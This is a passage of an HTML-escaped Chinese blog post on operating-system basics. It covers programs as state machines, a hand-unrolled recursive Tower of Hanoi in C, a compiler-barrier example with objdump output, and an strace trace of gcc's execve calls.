\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esleep(\u003cspan class=\"number\"\u003e1\u003c/span\u003e); \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"程序的定义\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E4%BB%80%E4%B9%88%E6%98%AF%E7%A8%8B%E5%BA%8F%E5%92%8C%E7%BC%96%E8%AF%91%E5%99%A8/#%E7%A8%8B%E5%BA%8F%E7%9A%84%E5%AE%9A%E4%B9%89\" class=\"headerlink\" title=\"程序的定义\"\u003e\u003c/a\u003e程序的定义\u003c/h2\u003e\u003ch3 id=\"源码视角\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E4%BB%80%E4%B9%88%E6%98%AF%E7%A8%8B%E5%BA%8F%E5%92%8C%E7%BC%96%E8%AF%91%E5%99%A8/#%E6%BA%90%E7%A0%81%E8%A7%86%E8%A7%92\" class=\"headerlink\" title=\"源码视角\"\u003e\u003c/a\u003e源码视角\u003c/h3\u003e\u003cp\u003e程序就是状态机。对于C程序而言,它的状态机模型如下:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e状态=栈帧+全局变量\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e初始状态=main\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e迁移=执行栈顶的语句并转到下一条指令\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e函数调用=入栈\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e函数返回=出栈\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这定义有很多应用,比如将任何递归程序就地转为非递归。虽然实际上递归就是这么实现的(一层递归建立一层函数栈、跳转地址压栈)。例如,下面就是手写函数栈展开递归:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;assert.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"type\"\u003eint\u003c/span\u003e pc, n;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"type\"\u003echar\u003c/span\u003e from, to, via;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} Frame;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e call(...) ({ *(++top) = (Frame) { .pc = 0, __VA_ARGS__ }; })\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e ret()     ({ top--; })\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e goto(loc) ({ f-\u0026gt;pc = (loc) - 1; }\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003ehanoi\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e n, \u003cspan class=\"type\"\u003echar\u003c/span\u003e from, \u003cspan class=\"type\"\u003echar\u003c/span\u003e to, \u003cspan class=\"type\"\u003echar\u003c/span\u003e via)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  Frame stk[\u003cspan class=\"number\"\u003e64\u003c/span\u003e], *top = stk - \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  call(n, from, to, via);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (Frame *f; (f = top) \u0026gt;= stk; f-\u0026gt;pc++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"keyword\"\u003eswitch\u003c/span\u003e (f-\u0026gt;pc) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e      \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e: \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (f-\u0026gt;n == \u003cspan class=\"number\"\u003e1\u003c/span\u003e) { \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%c -\u0026gt; %c\\n\u0026#34;\u003c/span\u003e, f-\u0026gt;from, f-\u0026gt;to); \u003cspan class=\"keyword\"\u003egoto\u003c/span\u003e(\u003cspan class=\"number\"\u003e4\u003c/span\u003e); } \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e      \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e: call(f-\u0026gt;n - \u003cspan class=\"number\"\u003e1\u003c/span\u003e, f-\u0026gt;from, f-\u0026gt;via, f-\u0026gt;to);   \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e      \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e2\u003c/span\u003e: call(       \u003cspan class=\"number\"\u003e1\u003c/span\u003e, f-\u0026gt;from, f-\u0026gt;to,  f-\u0026gt;via);  \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e      \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e3\u003c/span\u003e: call(f-\u0026gt;n - \u003cspan class=\"number\"\u003e1\u003c/span\u003e, f-\u0026gt;via,  f-\u0026gt;to,  f-\u0026gt;from); \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e      \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e4\u003c/span\u003e: ret();                                    \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e      \u003cspan class=\"keyword\"\u003edefault\u003c/span\u003e: assert(\u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"二进制视角\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E4%BB%80%E4%B9%88%E6%98%AF%E7%A8%8B%E5%BA%8F%E5%92%8C%E7%BC%96%E8%AF%91%E5%99%A8/#%E4%BA%8C%E8%BF%9B%E5%88%B6%E8%A7%86%E8%A7%92\" class=\"headerlink\" title=\"二进制视角\"\u003e\u003c/a\u003e二进制视角\u003c/h3\u003e\u003cp\u003e实际上就是汇编视角。汇编程序分为几个段:数据段、代码段和栈段。加载程序就是加载初始状态,状态转移就是改变寄存器的值,转移方式就是执行指令。\u003c/p\u003e\u003cp\u003e这两个视角都可以用\u003ccode\u003egdb\u003c/code\u003e来查看。\u003c/p\u003e\u003cp\u003e但是,操作系统又不是普通程序。因为操作系统不光处理计算任务,还需要能够暂停、退出程序等等。\u003c/p\u003e\u003cp\u003e在Linux中,有一条叫做\u003ccode\u003esystemcall\u003c/code\u003e(系统调用)的指令。它不负责计算,它把当前进程的状态交给操作系统,也就是允许操作系统任意更改程序。这使得进程可以和操作系统中的其他对象交互。\u003c/p\u003e\u003cp\u003e也就是说,对于程序而言,操作系统就是一个程序。参数就是应用程序本身的状态,输出就是程序要访问的资源。C程序main函数最后的\u003ccode\u003ereturn;\u003c/code\u003e就是这样的,它实质上是借助了\u003ccode\u003esyscall()\u003c/code\u003e,将程序状态变为某特定状态,再交给系统去处理。这就好比准备好要传递的参数,然后去调用函数一样。\u003c/p\u003e\u003cp\u003e回到主题。从二进制/操作系统的视角看来,\u003cstrong\u003e程序是一个不停计算,并会穿插执行systemcall的状态机\u003c/strong\u003e。\u003c/p\u003e\u003ch2 id=\"什么是编译器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E4%BB%80%E4%B9%88%E6%98%AF%E7%A8%8B%E5%BA%8F%E5%92%8C%E7%BC%96%E8%AF%91%E5%99%A8/#%E4%BB%80%E4%B9%88%E6%98%AF%E7%BC%96%E8%AF%91%E5%99%A8\" class=\"headerlink\" title=\"什么是编译器\"\u003e\u003c/a\u003e什么是编译器\u003c/h2\u003e\u003cp\u003e编译器将源代码编译为二进制程序。从汇编状态机/C程序状态机的视角来看,实际上就是将后者翻译成了前者。编译(优化)的正确性(Soundness)就是在确保二者的\u003cstrong\u003e可观测行为\u003c/strong\u003e完全一致。\u003c/p\u003e\u003cp\u003e而关于编译器优化,我们可以使用\u003ccode\u003ecompiler barrier\u003c/code\u003e来阻止优化:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e g;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003efoo\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e x)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eg++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003easm\u003c/span\u003e \u003cspan class=\"title function_\"\u003evolatile\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"string\"\u003e\u0026#34;nop\u0026#34;\u003c/span\u003e : : \u003cspan class=\"string\"\u003e\u0026#34;r(x)\u0026#34;\u003c/span\u003e : \u003cspan class=\"string\"\u003e\u0026#34;memory\u0026#34;\u003c/span\u003e)\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// compiler barrier\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eg++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的代码借助objdump查看反编译代码,可以看出,这两条\u003ccode\u003eg++\u003c/code\u003e并没有被\u003ccode\u003e-O2\u003c/code\u003e编译优化。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$ gcc -O2 -c a.c \u0026amp;\u0026amp; objdump -d a.o\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea.o: file format elf64-x86-64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eDisassembly of section .text:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e0000000000000000 \u0026lt;foo\u0026gt;:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 0: f3 0f 1e fa endbr64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 4: 83 05 00 00 00 00 01 addl \u003cspan class=\"variable\"\u003e$0x1\u003c/span\u003e,0x0(%rip) \u003cspan class=\"comment\"\u003e# b \u0026lt;foo+0xb\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e b: 90 nop\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e c: 83 05 00 00 00 00 01 addl \u003cspan class=\"variable\"\u003e$0x1\u003c/span\u003e,0x0(%rip) \u003cspan class=\"comment\"\u003e# 13 \u0026lt;foo+0x13\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 13: c3 retq\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e除此之外,还有一种更强的barrier:\u003ccode\u003e__sync_synchronize();\u003c/code\u003e\u003c/p\u003e\u003ch3 id=\"观察编译器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E4%BB%80%E4%B9%88%E6%98%AF%E7%A8%8B%E5%BA%8F%E5%92%8C%E7%BC%96%E8%AF%91%E5%99%A8/#%E8%A7%82%E5%AF%9F%E7%BC%96%E8%AF%91%E5%99%A8\" class=\"headerlink\" title=\"观察编译器\"\u003e\u003c/a\u003e观察编译器\u003c/h3\u003e\u003cp\u003e使用\u003ccode\u003estrace\u003c/code\u003e,我们可以看到一个程序所有的系统调用。借助下面几个工具的组合,我们可以看到gcc如何编译程序:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// a.c\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Hello, OS!\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e保存上面的文件后,执行下面的指令:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003estrace -f gcc a.c |\u0026amp; vim -\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e我们可以在Vim中看到下面的输出\u003c/p\u003e\u003cp\u003e![[Pasted image 20230128215947.png]]\u003c/p\u003e\u003cp\u003e稍微修改后(\u003ccode\u003e:%!grep execve\u003c/code\u003e留下系统调用的行,\u003ccode\u003e:%!grep -v ENOENT\u003c/code\u003e删除失败的行,\u003ccode\u003e:%s/, /\\r /g\u003c/code\u003e将参数换行显示,提高结果可读性),可以分析得到下面的结果\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e 1 execve(\u003cspan class=\"string\"\u003e\u0026#34;/usr/bin/gcc\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 2 [\u003cspan class=\"string\"\u003e\u0026#34;gcc\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 3 \u003cspan class=\"string\"\u003e\u0026#34;a.c\u0026#34;\u003c/span\u003e]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 4 0x7ffd181ca900 /* 30 vars */) = 0\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 5 [pid 212] execve(\u003cspan class=\"string\"\u003e\u0026#34;/usr/lib/gcc/x86_64-linux-gnu/9/cc1\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 6 [\u003cspan class=\"string\"\u003e\u0026#34;/usr/lib/gcc/x86_64-linux-gnu/9/\u0026#34;\u003c/span\u003e...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 7 \u003cspan class=\"string\"\u003e\u0026#34;-quiet\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 8 \u003cspan class=\"string\"\u003e\u0026#34;-imultiarch\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 9 \u003cspan class=\"string\"\u003e\u0026#34;x86_64-linux-gnu\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10 \u003cspan class=\"string\"\u003e\u0026#34;a.c\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11 \u003cspan class=\"string\"\u003e\u0026#34;-quiet\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12 \u003cspan class=\"string\"\u003e\u0026#34;-dumpbase\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13 \u003cspan class=\"string\"\u003e\u0026#34;a.c\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14 \u003cspan class=\"string\"\u003e\u0026#34;-mtune=generic\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15 \u003cspan class=\"string\"\u003e\u0026#34;-march=x86-64\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16 \u003cspan class=\"string\"\u003e\u0026#34;-auxbase\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17 \u003cspan class=\"string\"\u003e\u0026#34;a\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18 \u003cspan class=\"string\"\u003e\u0026#34;-fasynchronous-unwind-tables\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19 \u003cspan 